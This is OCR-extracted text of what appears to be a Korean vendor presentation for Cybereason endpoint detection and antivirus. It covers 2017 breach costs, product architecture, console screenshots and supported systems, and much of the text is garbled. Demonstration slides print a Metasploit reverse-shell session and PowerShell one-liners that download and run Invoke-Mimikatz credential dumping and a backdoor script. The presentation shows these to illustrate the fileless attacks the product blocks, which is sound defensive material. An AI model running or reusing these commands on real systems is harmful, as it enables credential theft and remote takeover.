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....................................... ;eptembe”,zo”o,wmheth,eemalormmume”red,t August2,20|7ThesecondIargestconfectlonarymanufacturermthe
reporting agencies experienced a breach, compromising the world lost $150 mil.lit.)n in quarterly sales and had incremental
eq”FAx personal information of as many as half of all American adults expenses of $1.1"million from one attack.
e e e August320|7Acompanythatlshometoseveralofthe
: August 16, 2017: The world's largest cont h I ’ . - :
: Heus - e WOMES Targest container SHpping company N NIVEA world's largest skin care brands delayed $41 million of second-quarter :
: had a $300 million impact on Q3 results, after halting worldwide Dot les. after 10 d { shiooi 4 oroduction del :
MAERSK operations. P Eucerm sales, after 10 days of shipping and production delays .
Ure July 6, 2017: One of the largest health, hygiene, and home E E - July 28, 2017: One of the top 5 largest pharmaceutical companies in
products manufacturers announced a $129 million decline in yearly the world had operations and drug production disabled for more than
e forecast. "’ MERCK a month after a cyber attack.
et e s eturesseeseeseeseesase s e R e R E AR AR AR e e E R e s s e

July 17, 2017: The world’s 3" largest shipping company announced a
cyberattack in filing with the U.S. Securities and Exchange Commission.
Estimated impact is in the hundreds of millions of dollars.

July 21, 2017: Computer Software company announced its revenue for
Q3 will be down as much as $20 million from original expectations.
In addition, their stock price has steadily declined sine the cyber
attack.
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Comprehensive Security: Enterprise Attack Protection Goodus

PRE-EXECUTION POST-EXECUTION PRE-DAMAGE

EOT

Behavioral prevention response
& detection

Signature-less

signature-based M prevention
prevention

Initial Infection » C&C » Privilege Escalation » Recon » Lateral Movement » Damage
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EDR (Endpoint Detection & Responsel2| = 9 Goodas

Features Buyer’s Guide
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ABOUT Cyhereason R
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Cybereason Product

Cyhereason EDR
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Cyhereason Layer of Protection Goodas
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Cybereason ’ll 2 Boodus

Cybereason2| Complete Endpoint Protection Platform= X538 EHX|, 2t st AtEh ol A gl
SAX &S0 Ciet 212 olsliet O & UetS M S L ot

S oL=

UPS HBEN U DM HOR MNIZ IS |
|
SRS CHSE 4 QU ALOlH 2ot BUE

TR

S =Yl & -y c I] Y "Gn“

v DZHO| WS E MA|ZHO R EFX|/A| 28}
LXK Y oY AL, Y2AN Y AL,
\

/ DESHE BNEA 3 AN B : Detect I

etection
- . MAIZ RS DE SR0| o4 TS AT 4 s
v 37 THAE = 2o 5ot O X5, g gl

KPMICH CFE[H}O[2{ A

QY cybereason

Complete Endpoint Protection




Goodus

Cybereason 7l 2

g FHH22 A5 HXsD

|
=

Ao 22| BE THAI0M & ¢

IT

Cybereason?| S EE= 34 2}0|

P2l

<

ol
&

AMEAF A LB MEOM HM SEE X

Bto|=o| ZE #Z

IL

v Windows, Mac ¥ Linux A|AElS Z5HSL0] QllE

SHA M.

=z
=

et

.

[

K=}
=

AL

-
M
(=}

.I
S|
7EAl

=

—
.
ot

3
SOil t

|
NECR-E!

Al EHH
IEHS
| al

o
=
7 EA
- O

)

3]
<+

H ol &

4

xr
IH
od
Rr
Ol
1o

g |

Collect(

ro
3
oln
70
<
™~
ol
T
o3
pal
K
I

0]

bl
mj

A

)
£ As22 AE5H0] M S,

Ak
O -

| Endpoint=2|

[m]
=

« Endpoint® |

L£X o= H¥(No BlueScreen!).

A
2.

« Endpoint™ SH20{ 10MB O|Zto| EzfE AtE.

@ Analyze( BlG[O|E| X}& 24 )

1

A o X

NES= R,

L
[

XA
=

1l A

« Cloud = On-Promise T+ X|

M SR Y AT 7

Z=K|/CH

ot

.
[s}

« A2 2 2o o

1
—

1
=
(@]

=]
O
Q
—
o
fud
(a8
+
=
(@]
oL
©
=
L
()
+—
0
Q.
S
o
O

QY cybereason




Goodus

Cybereason2| = ¢! = 1}

AH8stH ofzfe| MI7HX| EEO| 2Lt

=3
=

Cybereason

L7k

<o
o3
<k
ol
T
T U
g o
ot K
= ™
q ==
o X
s
= H

o
Koo
T o3 ©
M_M o
o B Kk
H ooy @0
U =< ofu
o oF |
& g Ho
e
E o_._ oo
K :_E S
ol =
< RC
10 Mo oF
SO S

Cybereason?| sl Z

A

| =]
[

mafol

= flsl 4.

wi
od
’r
jol

S|

- xp2lo]

HE.

1K

=
10’

Kir

Jl
o<

mr
Jlo

34 Q48 stLe| AMZ4H 2ELE HS.

ul

= H3.
to{ HE2 CH

Kir
o+

7kA8

S7ts.

A| mets

==
=

ojLtn =X

| &

o

<l

il d]

- £ 800%t 712| L|O|E| ZQIEE FX (24/7).

K
I+

e

|

SR X &E.

il
111

ol

jod

(qV}
—
[

=
(@]
=)
(9]
(]
—
o
—
(a8
+—
=
(@]
o
©
=
(NN}
()
=
0
o
S
o
O

QY cybereason




Goodus

Cybereason 7l 2

g FHH22 A5 HXsD

|
=

Ao 22| BE THAI0M & ¢

IT

Cybereason?| S EE= 34 2}0|

P2l

<

ol
&

AMEAF A LB MEOM HM SEE X

Bto|=o| ZE #Z

IL

v Windows, Mac ¥ Linux A|AElS Z5HSL0] QllE

SHA M.

=z
=

et

.

[

K=}
=

AL

-
M
(=}

.I
S|
7EAl

=

—
.
ot

3
SOil t

|
NECR-E!

Al EHH
IEHS
| al

o
=
7 EA
- O

)

3]
<+

H ol &

4

xr
IH
od
Rr
Ol
1o

g |

Collect(

ro
3
oln
70
<
™~
ol
T
o3
pal
K
I

0]

bl
mj

A

)
£ As22 AE5H0] M S,

Ak
O -

| Endpoint=2|

[m]
=

« Endpoint® |

L£X o= H¥(No BlueScreen!).

A
2.

« Endpoint™ SH20{ 10MB O|Zto| EzfE AtE.

@ Analyze( BlG[O|E| X}& 24 )

1

A o X

NES= R,

L
[

XA
=

1l A

« Cloud = On-Promise T+ X|

M SR Y AT 7

Z=K|/CH

ot

.
[s}

« A2 2 2o o

o™
—
1
=
(@]
=]
O
Q
—
o
fud
(a8
+
=
(@]
oL
©
=
L
()
+—
0
Q.
S
o
O

QY cybereason




CybereasonEDR - =

Malop
Hunting
Engine

% cybereason

HTTPS

Internet

Endpoint Silent Sensor Incident & Response Console

)

cybereason

k-

cybereason

% Cloud % On-premise &4 3% X[ 2

QY cybereason

Goodus

= =
Cybereason2| FX|, 2t2|HQl Y EFS Q1450 &

2
HZAE|= AE "Malop : Malicious Operation"2 2 ZHX|..

> AFEA REOA 2™ E= MO 2l8 EndPoint HIO[E &
e =50 ZEMA, ALEXF ZR, Ml 22, HX[AER,
7|ELO| M LOojLt= HILE 7|18, E T2 M| 20| FX|, oY A2
gIX|2EE| 7| &4 S Chfeh =X

e = = = e = PN l}
sivioz Zzo| MK TWLBE ALI0! H S0 £X7}7}
ME Atet2 MESHA Estn X &9l of 2 wotg na{stA &

————————————————————————————————————————————————————————————————————— Complete Endpoint Protection - 14




CybereasonEDR =75 7|dt Q| 2 2| A Goodus

GEN 2 GEN 3
SECURITY SOLUTIONS CYBEREASON

&;x X AN
ALY r 7N
! The e / .
\
A
(
\

[ ] @ ) @ ° < |

° ° ° ° ° & "\< 28\
—\\\V¥

80,000 8,000,000

RECORDS PER SECOND RECORDS PER SECOND

QL Cybereason ——————————————————————————————————————————————————— Complete Endpoint Protection - 15




D

Infiltration

(€=32))

SAXZL HESH| 218 AHE3H= L& Ela20t 9|8 SHX}e
°*E1II7‘|'-P XX b2 HH0, cacete| s BX|(DGA..)

UL 0| E, Zero-day °'*“E°' EHX|

©)

Data
Exfiltration
(I-I HOo E)

Privilege
Escalation
(HTHAS)

HIo|E & SEI-rE
HE{IN S

QY cybereason

Cybereason EDR Bullt-In £ X| 2 2 - ZI 4| QI

<

Lateral

Movement
(ZHEY)

Ransomware

Goodus
A S|

ST HolE =2t 43
RS AR 2N

V Fileless T 27 EHX|
(PowserSheII)

v SOl 7|HF 2

=
—

V' ot g DHE Free

Complete Endpoint Protection - 16




Cyhereason EDR = A1 ¢l 2 (Hunting Engine) B oods

|
] Malop™ 2t O|HIE & n
Malop™
-
] A9d 7lsg w2
Suspicions
-~
] SO E ALt HA X Ol
Evidence At
R — s
3t
SOt HA|ZF ChXHY &M
Hunting b
Engine(2{ H 0| &) R
+ ¥
Threat intelligence feeds IP, =0 QlS HE FE HlW
........................................................... |
EndPoint
— HA|ZF O E} G|O|E] =
Facts @ = B

%) Cybereason —————————————————————————————— Complete Endpoint Protection - 17




Goodus

| .

=)

CyhereasonEDR =2 7|

Cybereason

(e0]
Hosr o 8 :
Rgn #3530 S
7 — A gy 1° o =
o S O o W0 R S
o 3 g . S
joi i o K a
MH_H_HH._mol_M_“_._._.“$ -
w5 0 =
Tn - O o=
_ R R N 1 e
o — o 37 = @1 O CEC <
= ol 7l o H c
wl o E0 S ol ]E<- T
ol Mmoo B R g B
Hom oo M OS = oo [
E_ R’ u| o8 c & Ho & £
o s Wz QA -
= Ao 3 M 2 Mo~ — N
WL_______ - o% @ ¢ o b
=__HM.mAT___mu*_%a.
T 5o ¥ 8w omo4r
H 0 Xz wms 3 M
« . <k
-~ ol —_
doow o & 3
Iqaqu| 7no_o
0 ) oF ¢ X o =
X T H = . 2 o
s L T oo oW a4
£ 4 8 T g R . " 1o
JE%WNE_EW*&M@
voyy LWz E o 2N
R TR R I
ol RU - o0 =
S - 10 0o — o 7 1
= M
ol KT o0 M.
w o N0 - & —
Hoon Ro . "= § ® oM
2 o Mol 0k 2R OE
5 W = 5 T ® @@ g He
nmLu||f g 9l
= ol ol ® 80 11 2o ® JI
- R > ) —
S X o M w0 B S M 5%
S ]
E__o____wom%
od mr W =, — N
N 1
H ﬂ%mow.m K
wh go = & H 5 oz ™ R
= = o 2 o &
Moo & N oEroop ool X oo
E_ e - RHA__._ﬂﬂ_L
=i m |_ﬂ_. m“ _=|__.= <+ m <o T
1 1l i oF ol c oju | |
ST HOENBRER g H
= . Xy 8o A
_L_/._|..._.|ﬂr_|_re o
w = © 2 ® o g U o om
gl X 31 % K oo 2 ol T oo
M FuwE ST

QY cybereason




Goodus

ZEAEY R

Cybereason EDR

ol

Ho
|

=
10

rd

ORI =
oMo <

~
(=]

W Cybereason?| &

wid
Rr
Ho
kio
=<
Iol
oo
ol
ol
10
|
[=}

olo

-
(]
Bl
-
(]
B

ok
ol

58

o| o] &2| HrojE| &M

THd
[Z1o 2 Atolf 2ol T

800

=]
o

=

PPN

HA =&

2
=]

TA HOF £F9| AtO|H] ZH L

O|A2tA o] HE FL{0iAM

=9

W Cybereason

L.

Complete Endpoint Protection - 19

QY cybereason




Cybereason?| Attack life cycle! — Cyber kill chain! Goodus
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WIIGI‘G&SIIII EDR 2|<‘.9. 7 I % — “alﬂll é,P?_I Goodus

15:06 Maros

|-

AlS Ol 70| 222
= OHEl—_||— M- O _l—l T = Type Root cause Affected machines Detected activity Labels Created - Last acrivity Status
e _ _ Past 2 weeks (5) v
spolstn w21 MESH e,
Ransomware a 2
ansomware
D 195970d4f4c4e48bbeled... [;] WSCO2A o Mar 07 a day ago >
£9 Known Ransomware by Hash \3) Infection
Known malware 5 2
ansomware
) 5d87a02fcef2caf65f1feba... ([ wscoza . Mar 07 a day ago >
S TR £ Known Malware by Hash - \_:D Infection
)]
Unread (0}
Recpened (1)
Known malware & R
re I ansomware
Ta review (0} A= ‘I 22b8083d4903L933fhB88 . O wscoza _‘ i Mar 06 2 days ago y
T4 Oy Marked for prevention (6) N £ Known Malware by Hash ") Infection
4 [e}
o1 TTo . Under investigation {13)
Suspended (0} Known matware
(o] ¥
2220l FilelessMalware.exe O winTxe4 %) Infection 5 days ago >
= ¥= dg
All archived (84) £3 Known Malware by Hash
It El El'-l:”‘ = E Remediated (64)
OO0 - -2 O Mot relevant (20) Known maltware
J'Ul wmipcima.dLL O oeskToPT4jcLT8  5) Infection 10 days ago >
34 HARIEE) @ P ——
High (0}
Medium (0) Older (3) v

Ransomware

D allthethingsx64.dlL O winzxes "%) Infection

) Known Ransomware by Hash

12 days ago >
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21t 1+s 22 E 2}

195970d4f4cl4e48bbcdcd21eSade0a39lebabl77...

Export to PDF
#Known Ransomware by Hash

7I-O| «”H stE2 2 5-E|"'|.O4 Al -”'('5
@ Description wecoan o B A — ¥F= =5° OA l_l‘
+ The image file of the process is , which is Affected machines = = =1 o & 3| Ol 340
known to be ransomware - I. [} H = |
OEE —EE (L OEE—I—2 x%l_l
Status: Under investigation O X
— wscO2a\administrator
() Affecred users
Manage Labels .
> Root cause info
Scope: WSC02A
Communication: Ne communication 2 suspidious processes .
Maliclous process
& Add comments + @ |nfecmn.
o
O| =Z| o I- HQI | |°
@ c°ttiel 2= Hiz HE=X| X3
@ Timeline
Malop started Malog] detected . _:L% _OL_IO|_|% §|LOI_|
First execution on first machine Infection Infection Ransomware
Resource affected Ransomware o:l -‘-l: o HI. = Q- .I - O
oF= = PS
@ TS 2 J|7| AR BE ol
9 monitf Y=
------- )
328 ini OtM EAl EAM
Ll
T . AHE oM S 2N
J
5 @ Suspicions
R
ﬁ Known malware indications| v
3
&
B Known ransomware indicatfpns

— @ MBE 4d =7 ot
Malware module indication:

L Overview & Processes O Machines 8 users
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Response

Remove immediate threats and prevent future attacks

.{P Remediate

Select which of the immediate solutions you want to apply to the malware.
Apply solution on:

1 Machine >

6 Files >

® Prevention

. Prevent execution of file hashes associated with this Malop on all machines on which
Prevention is enabled.

1 File v

Z2MA SX|(Kill Process) processhollowing.exe

I+l 2| (Quarantine Process) @————

K| A E 2| AH|(Remove Registry)

Are you sure you want to isolate the ; machine?

Z2M 2 d LX|(Prevention) @

rom the

HEXZON ®
ANEZLQIEE A7
(S HE o2 X&)
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16:27 wmar12
Investigation

Build a query

&

Machine
(18)

Processes
(14,354)

Connections
(717,743)

All logon sessions, Logon sessions of any machine,

Showing 675 out of 816 results @ 4 Limit results

Grouped by
Element name @/ Gl v Processes

. > ¢2 > WIN-JFFNTRFSEEE 6 @11 & 0-16 processes

E

B > °2) JUNHEE®| MacBook Pro -- 1 & 1 processes

& -

o > 2 > Howard_MacPro (2) 4 & 0-6 processes
> °2) > G180D025-TAEHO 9 & 1-234 proces..
> °2) > DESKTOP-DGBUSS) 6 & 0-5 processes
> 52 > PATRONUX-TEST 37 & 0-3788 proce...

QY cybereason

o

Owner machine

8

owner machines

Owner machine

) WIN-JFFNTRF...

0

O Howard_Mac...
O G1800025TA...
O DESKTOP-DG...

O PATRONUX-T...

JUNHEES| Ma...

Logon sessions
(816)

any connection,

User

& 6users

co

junheeg| mac...

8 3users

& Susers

& Susers

& Susers

Ha,

Connections

Remote machine

O JUNHEES| Ma...

Goodus

A AHEokE HEl ME 7ls

Owner machine

User

Proc

Remote machine

any process,

Logon Type
Network x1, Inter...
Interactive x1
—no data— x4
Service 2, —n0 d...

Unknown type «1, ...

Unknown type 3, ..

Timeline picions

\ | Today Last week

Processes of any machirie

Creation time
Jul 29 2016, at 05:...

Mar 09, at 11:36

Last month

Jan 01, at 08:23 -...

Mar 08, at 15:10 - ...

Nov 08 2016, at 0...

Jan 05, at 14:52 - ...

Hello,
howard

Custom

Feb1 Feb15 Mar1

G+ Export CSV M Edit columns

HS a2=0= QST RI|E JHs
3 RestAPl HIBO 2 2| MY £ ¥ 558
E5lo 21} 3|4 7|5 XY,
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XX 2 o8 =27 YX|

2 = S0ff Hio|2{A Fo TN IALIM) M A & 5 Gl
1 LHXX| @2 oy ZEE 2o HXEL 71 H2 LEERZ AX|/AE.
A X|X| &%2 Malware:
USHSHES v Mgof ¥x|

24S 8510 IY0| L=3tE|7| Mo & = gl MY,
» Fileless 901, MBR 7| QOIS BX| - KT

4 ~ 2

okgi x| X .

A | E“""-rlloi , v 2’4 PowerShell 23 2 E (Fileless) & X|
Malware: , g
Hro| 2 A Y iy Powershell & 0S| 1 =T& ArE3tE Fileless 2fd ZE0 2
Bomd % AP O EERI/AHE

rot
O

N
fjo

v/ YT oy IO BEH AN
ojo] LTl oy == 7|EQ HO[2 A Fo| ThY(A|ALIN)S 08510
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|
— O} CICIX}O| Xt HECIS
Malware alerts E - O Oxl-—l HETao=
> i b E a
(Need your attention (19) @ ) Eo:l T = xl-% EI-XI *I }_xl
©0
2 5 2 2 —@ Need your attention
Download & execute xxxalUGkn5C sZhNMNwOWq BXyid49yxee JglGlcSLMk
O] B2 NGAVZF EX|HX| 2 A5 2 K| =2/04
’ o 4 QlE MalwareS 20IFLICH
L e | ZF7t 2M(Investigation)= S50 =X| 7| X|H.
(Completed . '
‘: CV Andrew.txt Disinfected OELsT Dec 25. at 16:19 ——. Completed
, - 0| 0= NGAV7} K| 2 i ofutsiz|Lt 222
o HA|SH Malware S E0| HA|E LT},
T CV for Sales.txt Disinfected QST Dec 25, at 16-16
= CV-Andrewjohnson.txt e er
- — J
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Cyhereason NGAY - 21 A4 9| 0] Bt X| Goodus

Cybereason t20{ A 30,000742| Of &2
45}0] 427H°| MU 222

Y X| AL} LBAX|X| P2
Hesllof x|

%) Cybereason ———————————————————————————— Complete Endpoint Protection - 31




Cyhereason NGAV —Flleless 241 3 £ HiX|

Z|Z Fileless & R E S2Z0| S7I5F1 SANS 2017 Threat Landscape SurveyOf| 2, 7|19| 3
29| 12 Fileless 2t 340 Mt QUACHs ZItE LQF /UELICE

o = It o™ = [} O'l
SZE JIW% X 2ot s IEf Ol WindowsOfl LIE RO Q= et S8 =23 2T

7|E 0| oty 0] of3t Z2{ah =], 0]2{3t oo Ol XY ZHXI} CiA HEE
b ols
ET, £3] PowerShell2 {835t Q& LICE

>O

Fileless MalwareZ7} 270 & CjAF HIO| 2|7} @0 7|EXMo g2 Algs & 9l M3 E12
ofgsota A7| =0 ZX[stn EX|St= A0l E5| o @St

Cybereason Fileless 2}’d 3 E WX

Chad| AJEL HE &8 E= 0| OfL| 2t Powershell AZTIOA H&lE= FE0 25
D= DE MUS B QB ZENA FQ| HFSHED oLt 4§ 22 AE =FE HES
24 8 = A& Lt

Fileless 2} [ E WX| 7|59| %78
v BE E80| L= AJZE EX|(Mimicats)
v BE HH PowerShell X| &l HP‘" 2 Z8h
v 33 & 3t A3 E, System.Management.Automation.dll
EC § RE U & WH S

QY cybereason

Fileless

o
encoders
oday (2010 07.95)

> use exploit/windows/browser/ms10_xxx_windows_shell_lnk_execute
exploit( et PAYLOAD windows/meterpreter/reverse_tcy
> windows/meterpreter/reverse_tcp
et LHOST 192.168.254.1
197 168.254.1
s ) > exploit
E\p'lmt running as background job.
st exploit( ) >
Started reverse handler on 192.168.254.1:4444

Send vulnerable clients to \\172.19.131.162\WggRCvFe\.
Or, get clients to save and render the icon of http://<your host>/<anythings.lnk

Using URL: http://0.0.0.0:
Local IP: http://172. 3
Server started.

msf exploit(

) >
msf exploit( ) >
msf exploit( ) >
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Security profile

PowerShell protection

IE (New-Object Net.WebClient) .DownloadString('https://
hayloa raw.githubusercontent.com/mattifestation/PowerSploit/master/
Exfiltration/Invoke-Mimikatz.psl'); Invoke-Mimikatz DumpCreds

Download and execute

(New-Object Net.WebClient) .DownloadString('http://blog.siplik.com')

Malicious downloads

. . $a = (New-Object Net.WebClient) .Downloaddata ('https://
raw.githubusercontent.com/samratashok/nishang/master/Backdoors/HTTP~-
Backdoor.psl') ;$b =[System.Text.Encoding]::ASCII.GetString($a) ;iex
($b) ;HTTP-Backdoor

URL exclusions RL e are defined in the Re e
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v' Sensor
X ZAEM 242 9ot 2O
=% = Detection Serverd| A M.

v Registration Server
SensorE Detection Server0f &%

v' Detection Server

22 (Malops & Malwares) EX| & ZX|.

v Update Server
2ot mjx| 8 YH|olE.

v" Global Threat Intel Server

v Private Threat Intel Server
obdmbgy, Ip, =02l S2f XS

v WebApp Server

=
==

Sensor

A
User Interface

g = 2ol 8l 22| S 2ot @ AHHo[A

—

QY cybereason

4

Goodus

e

Registration Server

(Option)

-
=

ZHAL HE Cloud

3£ Cloud

(®)

n-Promise

Update Server

A

Global Threat
Intel Server

N

Private Threat
Intel Server
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File Access from Disk

QY cybereason

— B

Sensor
1
Kernel €Y ! User ¥4
1
Anti-Malware ! Anti-Malware
. I . EDR
Driver ! Service
Detection .
Al THL0] A A 7Lt Logic Update Sensor Services
ZZMNATCjATO T

OB M| A B2{ 11 SHE Anti-
Malware Engine® S =3}0]
On Access Scane A|Zf

Anti-Malware Engine

On Access Scan

Execution Prevention

Execution Prevention

o, T2 AM|A 9 7|Ef Bot
2 O E S0f thet
HIOIEE 3.

ol HojEjS £4 X EX|2
T|5H Detection Server2
&, Anti-Malware
ServiceOf| Al MM =l
EX/2M HEE 2ot
Detection ServerZ ™ &

Driver Service
Artificial Intelligence
ClAZ0)M THYS Alss}o . 9
Alsy WbX| S 24| 7} THY canner
2 QMBI U % YLK
ofE 7”0"&% Execution

Application Control
Scanner

Anti-Ransomware
Service
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I
e T
» Windows XP SP3 (limited support) * OS X Yosemite (10.10) o CentOS 6 and 7
» Windows Vista (limited support) « OS X El Capitan (10.11) » Red Hat Enterprise Linux 6 and 7
* Windows 7 SP1 » OS X Sierra (10.12) » Oracle Linux 6 and 7
* Windows 8 « OS High Sierra (10.13) o Ubuntu 14 LTS and 16 LTS
» Windows 8.1 ¢ Amazon Linux AMI 2017.03
» Windows 10 e Amazon Linux AMI 2016.09
» Windows Server 2003 (limited support) » Amazon Linux AMI 2016.03
» Windows Server 2008 (limited support) » Amazon Linux AMI 2015.09
» Windows Server 2008 R2 e Amazon Linux AMI 2015.03

« Windows Server 2012
* Windows Server 2012 R2
« Windows Server 2016
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Cyhereason Sensor-0S'Z i S

Windows XP SP3
Server 2003

gIX|AEE| Abx|

Remove Registry ®
T2 M2A FX| °
Kill Process

/2N A A2 P
Quarantine Process

Autorun AHX| °®
Delete Autorun

a3 x|

Prevent Execution

SAE Zg| °

Isolate Machine

Suspend / unsuspend
Ransomware

Malware Alert 22|

QY cybereason

X=X 7|5

Windows Vista
Server 2008

Windows 7 SP1
8, 8.1, 10
Server 2008 R2

Server 2012
Server 2012 R2
Server 2016

Goodus
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|
v No NGAV v NGAV Enabled ( Windows only )
CPU Dual Core 2Ghz core i3 0|4} CPU Dual Core 2Ghz core i3 0| %}
Memory 1GB 0|4 Memory 2GB O %
Disk 150 MB 0| ¢ Disk 1.5 GB 0|4
Network Connection Ethernet E£= Wi-Fi Network Connection Ethernet EE= Wi-Fi

v Network Al2%F

=412 48 B Mops)

v 5% 0]5l2| CPU A E! 100 0.23 Mbps
v SAE T 5M ~ 10M data 1000 2.26 Mbps
v No Crashes! 10K 23 Mbps
v No user impact! 50K 114 Mbps
100K 229 Mbps
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